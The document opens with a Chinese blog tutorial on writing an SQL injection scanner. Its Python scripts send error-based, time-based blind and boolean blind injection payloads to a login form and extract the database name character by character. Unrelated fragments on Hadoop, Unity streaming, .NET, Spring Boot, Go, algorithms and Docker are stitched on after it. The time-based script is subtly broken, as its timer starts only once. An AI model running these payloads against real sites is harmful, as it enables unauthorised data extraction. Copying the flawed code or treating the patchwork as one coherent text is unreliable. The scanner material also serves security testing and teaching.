实际上大部分都是它写的,它真我哭
SQL注入扫描就是一种用于检测和预防SQL注入攻击的工具。它通过模拟SQL注入攻击的方式,向目标网站发送特定的SQL查询语句,以验证目标网站是否存在SQL注入漏洞。SQL注入扫描的过程通常分为以下几个步骤:
总的来说,SQL注入扫描可以帮助网站管理员及时检测和预防SQL注入攻击,从而保护网站和数据库的安全。
下面分别描述这四部分
为什么我们要收集信息?
比如说我们对于http://www.example.com/网站进行扫描,就要先使用爬虫获取扫描目标,没有扫描目标的话,直接对着http://www.example.com/怼,能够扫出漏洞我愿意称之为天选之子。
假设现在收集到了1000个网址,包含了:
如果你是一个渗透测试工程师,你第一反应是检测哪个网址?
So,这也是我们脚本需要实现的东西
不可能每个网址都扫描一遍吧,恰好我们有100个验证SQL注入的POC,那么就需要发送1000*100个包,这对该网站是一个噩梦,当然也有可能刚开始扫就被防火墙给拦截了,或者很多东西都是错误网址,浪费了扫描器的时间
所以我们需要在收集信息这一步将一些干扰信息排除掉,具体来说,需要分析目标网站的响应数据,包括响应头、响应体、响应码等信息,以获取目标网站的状态和特征等
这里其实是POC和EXP的区别,这里我们统一用POC来解释
我们根据SQL注入的不同类型来编写SQL注入的检测脚本,因为这里的分类因人而异,这里只进行前三中的安全开发扫描简述
报错注入是一种常见的SQL注入技术,其基本原理是通过构造恶意的SQL查询语句,使目标网站返回错误信息,从而获得有关目标数据库的敏感信息
它的检测关键点在于回显需要有报错信息,在下面的脚本中报错回显是
"You have an error in your SQL syntax"
使用python编写一个实例脚本
import requests
# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'
# 构造注入语句
injection_payload = "' or 1=1 union select 1,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- "
# 发送恶意请求
payload = {injection_param: injection_payload}
response = requests.post(target_url, data=payload)
# 分析响应并检测是否存在SQL注入漏洞
if "You have an error in your SQL syntax" in response.text:
print("SQL注入漏洞存在")
else:
print("SQL注入漏洞不存在")
时间盲注,最重要的就是时间
import requests
import time
# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'
# 构造注入语句
injection_payload = "' or if(substr(database(),{pos},1)='{char}', sleep(5), null)-- "
# 发送恶意请求并计时
start_time = time.time()
for i in range(1, 20): # 假设数据库名称长度不超过20个字符
for j in range(33, 127): # ASCII码表中可见字符的范围
# 替换注入语句中的占位符
payload = {injection_param: injection_payload.format(pos=i, char=chr(j))}
response = requests.post(target_url, data=payload)
# 如果响应时间大于5秒,则表示猜测的字符是正确的
if time.time() - start_time > 5:
print("第{}位字符为:{}".format(i, chr(j)))
break
else:
continue
break
以上脚本中,我们首先定义了目标网站的URL和注入参数,然后构造了一个注入语句,其中使用了时间盲注的技巧,使用sleep函数控制响应时间。接着,我们使用一个双重循环来猜测数据库名称中的每一个字符,如果猜测正确,则响应时间会超过5秒,从而得到正确的字符
布尔注入的基本原理是通过构造恶意的SQL查询语句,使目标网站返回不同的响应结果(True或False)
这里的True和False是什么?
水无常形,需要根据情况讨论,如果我们的一个SQL注入脚本,正确的时候,是返回200状态码,失败的时候,返回404状态码,这里的对应
另一种情况,正确的时候,返回个人信息,失败的时候,返回为空,这里的对应
在下面这个脚本中,Login failed
为False,登录成功为True ,通过判断响应结果中是否包含“Login failed”来判断猜测是否正确
import requests
# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'
# 构造注入语句
injection_payload = "' or ascii(substr(database(),{pos},1))={char}-- "
# 猜测数据库名称的长度
for length in range(1, 20): # 假设数据库名称长度不超过20个字符
# 猜测每一位字符
database_name = ''
for i in range(1, length+1):
for j in range(33, 127): # ASCII码表中可见字符的范围
# 替换注入语句中的占位符
payload = {injection_param: injection_payload.format(pos=i, char=j)}
response = requests.post(target_url, data=payload)
# 判断响应结果是否发生变化
if 'Login failed' in response.text:
break
else:
continue
database_name += chr(j)
break
else:
break
print("数据库名称为:", database_name)
这玩意不用我说了吧 ?
关于漏洞检测的优化,我觉得这东西可以写一本书,这里简单说几个抛砖引玉
在第一步我们获取到扫描目标后,我们需要进行一波过滤,可以定义一个字典 ['js','jpg','png']等等,将对应的静态后缀给过滤掉,不进入到第二步的扫描中,节省扫描时间
在时间盲注中,如果我们用国内的扫描器扫描国外的网站,可能你正常访问国外的网站,等待的时间都需要10秒,检测脚本中等待的5秒都属于正常的网络抖动,误报率会非常高,这种情况下可以先发几个包到需要检测的网站上,计算一个平均访问时间,在平均访问时间上构造盲注时间,这样来提高准确率
OK,SQL注入扫描就到这里啦,自己编写扫描脚本的时候,需要根据扫描结果来不断优化迭代,进而让脚本趋于完善,共勉
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注 ?
加我拉你入群 | 黑糖安全公众号 |
---|---|
![]() |
![]() |
摘要:本文记录了Hadoop2.2.0版本多节点集群安装过程,并做了基本配置,启动运行和测试了一个单词统计例子。环境说明:基于Windows下的VMwarePlayer4.0.3中的Ubuntu12.04-64server安装,先把基础软件安装到一个虚拟机中,然后拷贝两份再配置下即可。三台机器的分工如下:Hadoop1(Master):NameNode/ResouceManagerHadoop2(Slave):DataNode/NodeManagerHadoop3(Slave):DataNode/NodeManager假定三台虚拟机的IP地址如下,后面会用到。Hadoop1:192.168.128.130Hadoop2:192.168.128.131Hadoop3:192.168.128.132一:环境准备:下载免费的VMwarePlayer并安装好; 下载免费的Ubuntu12.04server版并在VMware中安装好; 二:基础安装:执行如下命令升级部分软件和把ssh安装好 (1)sudoapt-getupdate; (2)sudoapt-getupgrade; (3)sudo
像Unity3D下的RTMP或RTSP播放器一样,好多开发者苦于在Unity环境下,如何高效率低延迟的把数据采集并编码实时推送到流媒体服务器,实现Unity场景下的低延迟推拉流方案。关于屏幕采集,有两种方案:1.直接封装Android原生的屏幕采集工程,在unity提供接口,拿到屏幕权限后,获取屏幕数据并推送;具体可以参考https://cloud.tencent.com/developer/article/16443452.如果只需要拿到Unity的窗体或摄像机数据推出去,可在Unity下获取到需要推送的原始数据,然后封装原生的RTMP推流接口,调用原生SDK实现数据推送,这种做法的好处是,可以自定义需要采集的数据内容,只要按照原生SDK提供的接口,完成数据对接即可,具体实现参看本文。Android平台Unity3D的RTSP或RTMP播放器,可以参考https://cloud.tencent.com/developer/article/1800633本文以Android平台为例,介绍下Unity环境下的Android平台RTMP推流,数据采集在Unity完成,数据编码推送,调用大牛
.NETStandard是.NET官方的API规范,可在许多.NET环境中使用。之所以存在,面向.NETStandard2.0的库提供了最大可能的覆盖范围,并启用了几乎所有现代的.NET功能,例如C#9,IAsyncEnumerable等,因此所有库都应针对该平台。.NET标准背后的动机是在.NET生态系统中建立更大的一致性。背景介绍.NETFramework很早并且没有跨平台,.NETFramework发行后,.NET的几种实现(例如Mono和Unity)出现在其他平台上,微软还发布了许多其他实现,例如UWP,Silverlight和最新的.NETCore,Microsoft重命名为.NET5的.NETCore是最重要的,因为它是Microsoft真正的.NET跨平台实现,并且Microsoft打算维护该平台。Microsoft引入了可移植类库(PCL),并最终引入了.NETStandard,以便不同的实现可以共享一组通用的API,这意味着.NET代码在各个平台之间都是兼容的,并且您可以在任何实现中使用编译后的代码。根据Microsoft的说法,.NETCore,.NET5,.NET
SpringBoot提供了良好的服务监控模块,只需要通过简单的配置便可以完成服务监控和管理。但是服务监控这块内容往往是最容易被忽略的一块内容,今天我们一起来学习一下使用spring-boot-actuator进行服务监控。spring-boot-actuator提供了监控端点,这些端点直接返回JSON字符串,通过这些端点可以查询服务运行状况,为了防止端点直接暴露,一般情况下会使用安全框架,如SpringSecurity来管理这些端点的安全性。一常用的端点端点地址描述默认启用auditevents获取当前应用暴露的审计事件信息是beans获取应用中所有的bean的完整关系列表是caches获取公开可以用的缓存是conditions获取自动配置条件信息,记录哪些自动配置条件通过和没通过的原因是configprops获取所有配置属性,包括默认配置,显示一个所有@ConfigurationProperties的整理列版本是env获取所有环境变量是flyway获取已应用的所有Flyway数据库迁移信息,需要一个或多个FlywayBean是health获取应用程序健康指标(运行状况信息)是http
你在Windows/MacOS的登录Linux的SSH终端上很容易输入中文并且获得中文输出,比如下面这样:但是却几乎不可能将中文显示在Linux自身的虚拟终端上:[root@localhostfont]#echo皮鞋>/dev/tty2复制显示了两个问号,显然Linux内核并不能识别中文。为什么说是Linux内核不能识别中文呢?这里需要理清一个关系:你在远程SSH终端上的输入和显示输出的行为,都是SSH终端的宿主机完成的,比如Windows,MacOS,和Linux无关。你在Linux本地虚拟终端,比如/dev/tty1上的输入和显示输出行为,则是由Linux内核自己处理的。比如,我在MacOS用iTermSSH连接到了一个远程CentOSLinux,iTerm上的所有的键盘输入,显示器输出行为都是iTerm的这台MacOS宿主机完成的。相反,如果你直接在这台CentOSLinux的虚拟终端上输入并且企图获得输出,那么这个输入输出则必须由Linux内核自身来处理。基本上就这些。至于说为什么Linux内核不支持中文,那要了解Linux内核处理虚拟终端输入输出时是如何对待unicod
今天开发同学提了一个需求,是希望对某一个时间范围的表做DDL操作,看起来好像复杂度也不高。但是我一看开发同学提供的信息时就有点犹豫了,因为端口是8066,也就意味着使用了中间件。这是一套MyCAT的环境,一共有4个节点,每个节点拆分成了4个逻辑节点,所以有16个sharding分片,正是应了那句话:百库十表。虽然目前看起来节点数也不多,但是看看这个表hisrecord的分片逻辑就会发现,远远比我们想的要更丰富一些。这个表是按照日期来存储数据的,即数据的存储单位是日。表名类似于rec20180301,rec20180302这种。所以按照这种增长的趋势,可以根据时间维度不断扩展,同时又对每天的表做了细粒度的拆分,每个日表会有16个分片做hashl路由。开发同学的需求是对某一天之后的日表添加字段,变更第一天的数据需要对该字段添加默认值,之后的就不需要默认值了,这个从业务的角度来说,是因为应用层升级,需要这个属性,如果有些业务暂时还没有迁移过来,有一天的时间来缓冲调整修复。所以目前的需求的福利就是我们要修改的表目前没有写入,做变更不用考虑在线业务的写入影响。 我简单算了下,按照目前的修改幅度,
故事背景就在昨天,腾讯云部分功能挂了,经查实广州机房的光缆被挖断导致。当时也影响到了我们视频云转拉这边的业务。有个例子是,一个小客户有个流没有拉起,但是收到了已经拉起的回包。经过我们的分析,原因如下:当转拉请求下发到服务器(内网之间的通信,使用的是内网IP),服务器能收到并处理该请求,所以正常回包。当请求处理程序启动ffmpeg进程时,ffmpeg会去和源站建连(使用外网IP),由于光缆断了,外网肯定是不通的,转拉自然也不会成功。正因此也引发了我们关于转拉灾备的一个思考。思考与解决方案解决方案说起来肯定是很简单的,既然机器外网不同,那很简单,以后的转拉请求不发给这台机器就ok了。那现在问题就变成了:怎样知道这台机器不行了?对此我们充分利用了转拉模块的上游模块——状态中心。解决方案:1,ffmpeg进程定期上报心跳包到状态中心(上报的字段至少包括两个:进程所在ip,进程状态);2,状态中心定期(比如1分钟)统计下各ffmpeg进程发过来的包,以ip为作为关键字分类,统计该ip下正常的ffmpeg进程和异常的进程(对于网络这个问题,异常就是ffmpeg报建立连接失败错误)的次数。3,当异常
本篇文章转自David的"Theemptystruct"一文,原文地址链接是http://dave.cheney.net/2014/03/25/the-empty-struct。Introduction这篇文章详细介绍了我最喜欢的Go数据类型,空结构体--struct{}。空结构体是没有位段的结构体,以下是空结构体的一些例子:typeQstruct{}varqstruct{}复制但是如果一个就结构体没有位段,不包含任何数据,那么他的用处是什么?我们能够利用空结构体完成什么任务?Width在深入研究空结构体之前,我想先简短的介绍一下关于结构体宽度的知识。术语宽度来自于gc编译器,但是他的词源可以追溯到几十年以前。宽度描述了存储一个数据类型实例需要占用的字节数,由于进程的内存空间是一维的,我更倾向于将宽度理解为Size(这个词实在不知道怎么翻译了,请谅解)。宽度是数据类型的一个属性。Go程序中所有的实例都是一种数据类型,一个实例的宽度是由他的数据类型决定的,通常是8bit的整数倍。我们可以通过unsafe.Sizeof()函数获取任何实例的宽度:varsstringva
出处:蓝色理想和玩·艺|中国同步发布GuidetotheSection508StandardsforElectronicandInformationTechnology第508标准的电子和信息技术指南原文地址:http://www.access-board.gov/sec508/guide/1194.22.htmWeb-basedIntranetandInternetInformationandApplications(1194.22)基于web的联网和互联网信息和应用(1194.22)更新时间:2001年6月21日这些规定的标准为制作网页必须遵循由美国政府提出的要求。这些规定很适用,除非这样做会施加不必要的负担。关键要严格遵守这些规定,是坚持这些条文。许多机构已购买辅助软件,以测试他们的网页。这将产生一个更好地了解如何将这些设备用不同的编码技术怎么工作。然而,它始终应该牢记这辅助技术,如屏幕阅读器,是一个复杂的程序,并采取广泛的经验掌握。基于这个原因,新手用户可能会得到不准确的结果,可以很容易导致挫折感和不良信念,因为页面不符合标准。举例来说,所有画面阅读程序使用特殊的按键组合,经过
参考资料: http://brew.sh/ https://github.com/Homebrew/homebrew/wiki 复制 homebrew简介 是什么 HomebrewinstallsthestuffyouneedthatAppledidn’t. 终端安装的苹果不自带的Unix类工具软件,功能类似于ubuntu的apt及fedora的yum工具 特点 只能安装苹果不自带的Unix类开源工具软件 ruby开发,可通过用ruby写的homebrewformula进行定制 本身开源,使用git管理及同步自身,开源地址:https://github.com/Homebrew/homebrew 智能化安装,可根据安装软件的依赖关系自动安装依赖开源库或软件 通过homebrew安装的软件都安装在/usr/local下 类似工具 MacPorts及Fink 安装 ruby-e"$(curl-fsSLhttps://raw.github.com/Homebrew/homebrew/go/install)" 用法 使用命令查看homebrew命令,可查看命令说明
EM算法,之前上模式识别课上,推导过,在《统计学习方法》中没耐性的看过几次,个人感觉讲的过于理论,当时没怎么看懂,后来学lda,想要自己实现一下em算法,又忘记了,看来还是学的不够仔细,认识的不够深刻,现在做点笔记。本文是看了几篇blog和《统计学习方法》之后做的笔记,只是用来给自己做记录,很多地方都是直接引用。 一、初识 1.迭代 EM算法本身可以理解为一个迭代算法,很抽象&简单的形容迭代就是,比如我们有两个公式a=f(b),b=g(a),需要求解,我们可以先随机的给a赋一个值,在根据b=g(a)计算出b,得到b,在根据b得到a,如此往复,直到a,b基本不变。 2.隐变量问题 EM算法很适用与求解包含隐变量的问题,这里引用《统计学习方法》中的一个例子(pLSA的弱化版本): eg.有3枚硬币,分别记为A,B,C,掷得正面的概率分别为∏,p,q; 先投掷硬币A,如果是正面则继续投掷硬币B,是反面则投掷硬币C,最终出现正面记为1,出现反面记为0; 独立的重复n次实验后,得到一串实验结果Y=(Y1,Y2,……,Yn)。复制 这里Y=(Y1,Y
题意 懒得粘贴了,自己去找吧。 思路 啊哈我重构了代码,换了fhqtreap,这次秒过了。 思路还是比较显然的,就每行一棵treap,然后结尾一棵treap。 注意我们不可能维护每一个值,所以肯定是维护区间,那么把人叫走的操作就是将区间拆成三块,然后把中间那块拿走。在实现上就专门写了一个split_new来实现拆区间。 代码 /* ByNeroClaudiusCaeserAugustusGermanicus, EmperoroftheRomanEmpire. */ #include<bits/stdc++.h> usingnamespacestd; namespaceStandardIO{ template<typenameT>voidread(T&x){ x=0;Tf=1;charc=getchar(); for(;c<'0'||c>'9';c=getchar())if(c=='-')f=-1; for(;c>='0'&&c<='9';c=getchar())x=x*10+c-'0';
ARTS第六周 ARTS是什么? Algorithm:每周至少做一个leetcode的算法题; Review:阅读并点评至少一篇英文技术文章; Tip/Techni:学习至少一个技术技巧; Share:分享一篇有观点和思考的技术文章。 Algorithm 题目:141.LinkedListCycle 解题思路 本题是链表相关的一道题,题目给出一个链表,问我们这个链表中是否有环。题目中给出了三个例子来帮助我们分析是否有环,我们可以简单理解为,判断链表中是否有节点被超过两个节点的next指针指向,如果有就存在环,如果没有就无环。 第一种方法 我们一次遍历链表中的各个节点,并把遍历过节点存到一个set中,每次遍历下一个节点的时候先判断是否它是否存在于set中,如果存在则表示此链表存在环,如果遍历完整个链表都没有发现重复节点,则表示此链表不存在环。 第二种方法 设置两个快慢指针,一个指向第一个节点取名为slow,另一个指向第二个节点,取名为fast,slow指针每次走一步,即slow=slow.next,fast指针每次走两步,即fast=fast.next.n
题意就是说问有多少个区间,其中有至少一种种类的宝珠出现的次数恰好为x次。 先预处理出每一个位置的宝珠下一个出现与其同种类的宝珠位置next和上一个出现与其同种类的位置pre 考虑在第i个位置的宝珠,要使其出现恰好x次,我们可以找到在i之后恰好出现了x次的位置j,这步操作可以用一定的技巧优化到O(1),那么对于区间[l,r],l∈[pre[i],i],r∈[j,next[j]],都满足题目要求的答案。 如何统计呢,可以把每次可行的区间看作一个矩形,底为[pre[i],i],高位[j,next[j]],那么最后的答案就是这些矩形并的面积了 那么就是经典的线段树问题了,时间复杂度O(nlogn) 1#include<cstdio> 2#include<algorithm> 3#include<map> 4#incl
一、前言 为啥要对图片使用懒加载?我们首先来聊聊这个问题,对于页面来说架子啊速度影响着最大的就是图片,一张普通的图片可以达到4-5M的大小,而代码压缩也就只有几十KB。当页面图片过多的时候,页面加载速度很缓慢,一个页面加载几秒没有完成,用户体验不好,会丧失很多用户的。 所以对于图片过多的页面,可以为了加速页面加载速度,很多时候我们需要将页面内未出现的可视区域内的图片先不加载,等到滚动到可视区的时候录再去加载。这样子对于页面加载性能上会有很大的提升,也就提高了用户体验。 二、原理 1、将页面中的img标签src指向一张小图片或者src为空, 2、然后定义data-src属性(这个属性可以自定义命名,我才用data-src)属性指向真实的图片。 3、src指向一张默认的图片,否则当src为空的时候也会像服务器发送一次请求(指向默认的一张图片那就只需要请求一次)。可以指向loading的地址。 4、当载入页面时,先把可视区区域内的img标签的data-src属性值赋值给src。 5、然后监听滚动事件,加载用户即将看到的图片(利用图片出现时距离顶部的高度<滚动条距离顶部的高
#include<stdio.h> intmain(intargc,char*argv[]) { //练习:需求,定义一个数组,键盘输入相应的int数据,求最大值、最小值、平均值 intarr[5]={0}; intn=sizeof(arr)/sizeof(arr[0]); inti=0; intmax=0; intmin=0; intaverage=0; intsum=0; printf("请输入%d个int数据,求最大值、最小值、平均值\n",n); for(i=0;i<n;i++) { scanf("%d",&arr[i]); } printf("目前数组的元素是"); for(i=0;i<n;i++) { printf("%d",arr[i]); } printf("\n"); max=arr[0]; min=arr[0]; for(i=0;i<n;i++) { if(max<arr[i]) { max=arr[i]; } if(min>arr[i]
容器特点 1.容器可以将应用程序的依赖性和配置(抽象为Mainfest文件并部署)打包成一个容器镜像,可以让多次部署操作中的环境保持一致 2.可以让IT人员很少或者不做修改就可以跨环境部署软件 3.容器可以让各个应用程序在共享的操作系统中相互隔离 4.传统虚拟机需要更多资源,因为它需要一个完整的操作系统 5.Docker可信注册表(DockerTrustedRegistry):一种Docker注册表服务(来自Docker公司),可以在本地安装,所以它一般在企业内部数据中心和网络中使用 为Docker容器选择.NETFramework或者.NETCore 下列决策表汇总了是使用.NETFramework还是.NETCore。请记住,对于Linux容器,你需要基于Linux的Docker主机(VM或服务器);对于Windows容器,你需要基于WindowsServer的Docker主机(VM或服务器)。 为.NET容器选择合适的操作系统 由于Docker支持多种操作系统,且鉴于.NETFramework和.NETCore之间的差异,应根据所使用的框架,面向特定